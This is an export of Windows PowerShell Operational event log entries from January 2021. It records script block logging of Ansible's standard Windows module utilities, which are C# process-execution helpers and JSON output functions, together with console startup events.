AgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRy
ScriptBlock ID: 0e51f78c-bb37-4ac4-9765-c14344471e2c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1685 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0002-a1fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1684 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4140 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0001-dc28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2496 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1683 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 2512 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0001-dc28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1682 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4140 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0001-dc28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1681 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 836 | 3764 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:12 AM | dfeadd90-ee34-0001-d128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 836 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1680 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 836 | 4836 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:12 AM | dfeadd90-ee34-0001-d128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1679 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 836 | 3764 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:12 AM | dfeadd90-ee34-0001-d128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 2d503d5c-823c-4d76-befe-30f448d5e561
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = bccbdf1c-e65d-46d2-97e3-8725128a6c21
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1678 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 1176 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:12 AM | dfeadd90-ee34-0000-59ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: ca5346ca-e72b-461d-8c5a-4d2d2bcda7ae
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1677 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:12 AM | dfeadd90-ee34-0003-3ef0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
